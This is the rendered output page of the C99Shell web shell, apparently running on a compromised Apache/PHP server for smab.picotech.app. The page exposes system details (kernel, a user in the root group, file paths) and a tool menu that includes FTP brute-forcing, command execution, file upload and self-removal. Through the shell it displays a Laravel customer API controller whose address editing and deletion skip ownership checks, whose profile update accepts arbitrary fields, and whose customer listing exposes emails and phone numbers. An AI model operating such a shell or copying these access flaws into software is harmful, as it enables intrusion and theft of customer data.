!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerApiController.php (11.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;
use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
App\Traits\CustomFileTrait;
use 
App\Models\User;
use 
App\Models\Product;
use 
App\Models\Customer;
use 
App\Models\Country;
use 
App\Models\Shipping;
use 
Validator;
use 
File;
use 
DB;
use 
Auth;
use 
Hash;
use 
Mail;
use 
Carbon\Carbon;

class 
CustomerApiController extends Controller
{
   private 
$getUser;
   use 
CustomFileTrait;
   protected 
$path '';

   public function 
__construct()
   {
      
$this->path public_path(config('constant.file_path.user'));
      
$this->getUser Auth::guard('api')->user();
    }

  public function 
getCustomerDetails() {

       return  [
'status' => 1,'data' => $this->getUser ];
   }

   public function 
addAddress(Request $request) {

     try {
        
$validator Validator::make($request->all(),[
                
'name'          => 'required|regex:/^[\pL\s\-]+$/u',
                
'country_id'     => 'required|max:10',
                
'city'     => 'required|max:100',
                
'postcode'     => 'required|max:10',
                
'address_1'     => 'required|max:128',
             ]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$storeData =     $request->all();
           
$storeData['customer_id'] = $this->getUser->id;

           
$storeAddress DB::table('customer_address')->insert($storeData);
           
$addresses DB::table('customer_address')->join('country','country.id','=','customer_address.country_id')->select('customer_address.*','country.name as country')->where('customer_id',$this->getUser->id)->get();
           return  [
'status'=> 1,'message'=>'Address added successfully!','addresses' => $addresses ];
     } catch (
\Exception $e) {
       return  [
'status'=> 0,'message'=>'Error' ];
     }
   }

   public function 
editAddress($id,Request $request) {

     try {
        
$validator Validator::make($request->all(),[
                
'name'          => 'required|regex:/^[\pL\s\-]+$/u',
                
'country_id'     => 'required|max:10',
                
'city'     => 'required|max:100',
                
'postcode'     => 'required|max:10',
                
'address_1'     => 'required|max:128',
             ]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$storeAddress DB::table('customer_address')->where('id',$id)->update($request->all());
           
$addresses DB::table('customer_address')->join('country','country.id','=','customer_address.country_id')->select('customer_address.*','country.name as country')->where('customer_id',$this->getUser->id)->get();

           return  [
'status'=> 1,'message'=>'Address updated successfully!','addresses' => $addresses ];
     } catch (
\Exception $e) {
       return  [
'status'=> 0,'message'=>'Error' ];
     }

   }

   public function 
deleteAddress($id) {
        try {
          
DB::table('customer_address')->where('id',$id)->delete();
          
$addresses DB::table('customer_address')
          ->
join('country','country.id','=','customer_address.country_id')
          ->
select('customer_address.*','country.name as country')
          ->
where('customer_id',$this->getUser->id)
          ->
get();
          return  [
'status'=> 1,'message'=>'Address deleted successfully!','addresses' => $addresses ];
        } catch (
\Exception $e) {
          return  [
'status'=> 0,'message'=>'Error' ];
        }
   }

   public function 
updateProfile(Request $request) {

     try {
        
$validator Validator::make($request->all(),[
                
'firstname'          => 'required|regex:/^[\pL\s\-]+$/u',
                
'telephone'     => 'required|max:11',
             ]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$update Customer::where('id',$this->getUser->id)->update($request->all());
           
$getNew Customer::select('firstname','lastname','email','image','creation','telephone')->findOrFail($this->getUser->id);
           return  [
'status'=> 1,'message'=>'Profile updated successfully!','data' =>$getNew ];

     } catch (
\Exception $e) {
       return  [
'status'=> 0,'message'=>'Error' ];
     }

   }

   public function 
addUpdateWishlist(Request $request) {
      try {

        
$validator Validator::make($request->all(),[
                
'product_id'     => 'required|max:11',
             ]
           );

         if (
$validator->fails())
         {
           
$message $this->one_validation_message($validator);
             return  [
'status' => 'message' => $message];
         }

        
$find DB::table('wishlist')->where('product_id',$request->product_id)->where('customer_id',$this->getUser->id)->first();
        
$msg '';
        if(
$find) {
            
DB::table('wishlist')->whereId($find->id)->delete();
              
$msg 'Product successfully removed from wishlist!';
        }
        else {
          
DB::table('wishlist')->insert([
            
'customer_id' => $this->getUser->id,
            
'product_id' => $request->product_id,
          ]);
          
$msg 'Product successfully added to wishlist!';
        }

        
$wishlistData DB::table('wishlist')->where('customer_id',$this->getUser->id)->get();
        return  [
'status'=> 1,'message'=>$msg,'wishlistData' => $wishlistData ];

      } catch (
\Exception $e) {
        return  [
'status'=> 0,'message'=>'Error' ];
      }
   }

   
//wishlist data
   
public function getWishlist() {
     try {
       
$productID = [];
       
$productID DB::table('wishlist')->where('customer_id',$this->getUser->id)->pluck('product_id');

       
$wishlistData =   Product::select('id','image''price''quantity','sort_order','status')
           ->
with('productDescription:name,id,product_id','special:product_id,price,start_date,end_date')
           ->
orderBy('product.sort_order','ASC')
           ->
whereIn('product.id',$productID)
           ->
get();

       return  [
'status'=> 1,'data' => $wishlistData ];
     } catch (
\Exception $e) {
       return  [
'status'=> 0,'message'=>'Error' ];
     }
   }

   public function 
changePassword(Request $request) {
     try {

       
$validator Validator::make($request->all(),[
               
'current_password'     => 'required',
               
'new_password'     => 'required',
            ]
          );
          if (
$validator->fails())
          {
            
$message $this->one_validation_message($validator);
              return  [
'status' => 'message' => $message];
          }

          
$current_password $this->getUser->password;
          if(
Hash::check($request->current_password$current_password))
          {
            
$customer Customer::find($this->getUser->id);
            
$customer->password Hash::make($request->new_password);
            
$customer->save();
            return  [
'status'=> 1,'message'=>'Password successfully changed' ];
          }
          else {
            return  [
'status'=> 0,'message'=>'Current password wrong!' ];
          }
     } catch (
\Exception $e) {
       return  [
'status'=> 0,'message'=>'Error' ];
     }
   }

   public function 
changeProfilePicture(Request $request)
    {

      try {
        
$validator Validator::make($request->all(),[
                
'image'     => 'required|image|mimes:jpeg,jpg,png|max:512',
             ]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$this->createDirectory($this->path);
           
$imageName $this->saveCustomFileAndGetImageName(request()->file('image'),$this->path);
           
Customer::whereId($this->getUser->id)->update(['image'=>$imageName]);
           
$getNew Customer::select('firstname','lastname','email','telephone','image','creation')->findOrFail($this->getUser->id);
           return  [
'status'=> 1,'message'=>'Profile image uploaded!','data' => $getNew ];

      } catch (
\Exception $e) {
        return  [
'status'=> 0,'message'=>'Error' ];
      }

   }

   
//add review
   
public function addReview(Request $request) {
      try {
        
$validator Validator::make($request->all(),[
                
'text'     => 'required',
                
'rating' => 'required'
             
]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$find DB::table('review')->where('customer_id',$this->getUser->id)->where('product_id',$request->product_id)->first();

           if(
$find) {
             
DB::table('review')
             ->
where('customer_id',$this->getUser->id)
             ->
where('product_id',$request->product_id)
             ->
update([
               
'product_id' => $request->product_id,
               
'customer_id' => $this->getUser->id,
               
'text' => $request->text,
               
'rating' => $request->rating,
             ]);
           }
           else {
             
DB::table('review')->insert([
               
'product_id' => $request->product_id,
               
'customer_id' => $this->getUser->id,
               
'author' => 'admin',
               
'text' => $request->text,
               
'rating' => $request->rating,
               
'status' => '1'
             
]);
           }
           return  [
'status'=> 1,'message'=>'Review successfully submited!'];

      } catch (
\Exception $e) {
        return  [
'status'=> 0,'message'=>'Error' ];
      }
   }

   
// get address
   
public function getAdress() {
      try {
        
$address DB::table('customer_address')
        ->
select('customer_address.*','country.name as country')
        ->
join('country','country.id','=','customer_address.country_id')
        ->
where('customer_id',$this->getUser->id)
        ->
get();

        
$countires Country::where('status','1')->select('id','name','iso_code_3','postcode_required','status')->orderBy('name','ASC')->get();
        return [
'status' => 1,'data' => $address,'countries' => $countires];
      } catch (
\Exception $e) {
        return  [
'status'=> 0,'message'=>'Error' ];
      }
   }

   public function 
one_validation_message($validator)
   {
      
$validation_messages $validator->getMessageBag()->toArray();
      
$validation_messages1 array_values($validation_messages);
         
$new_validation_messages = [];
         for (
$i 0$i count($validation_messages1); $i++)
         {
             
$inside_element count($validation_messages1[$i]);
              for (
$j=0$j $inside_element$j++)
              {
                
array_push($new_validation_messages,$validation_messages1[$i]);
              }
         }
      return 
implode(' ',$new_validation_messages[0]);
   }



   
//Customer API
    
public function customers(){

       try{
           
$customers=Customer::select(['firstname','lastname','email','status','telephone'])->orderByDesc('created_at')->get();

           return 
response()->json(['data'=>$customers,'status'=>'success']);
       }catch(
\Exception $ex){
           return 
response()->json(['data'=>$ex->getMessage(),'status'=>'failed']);
       }
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--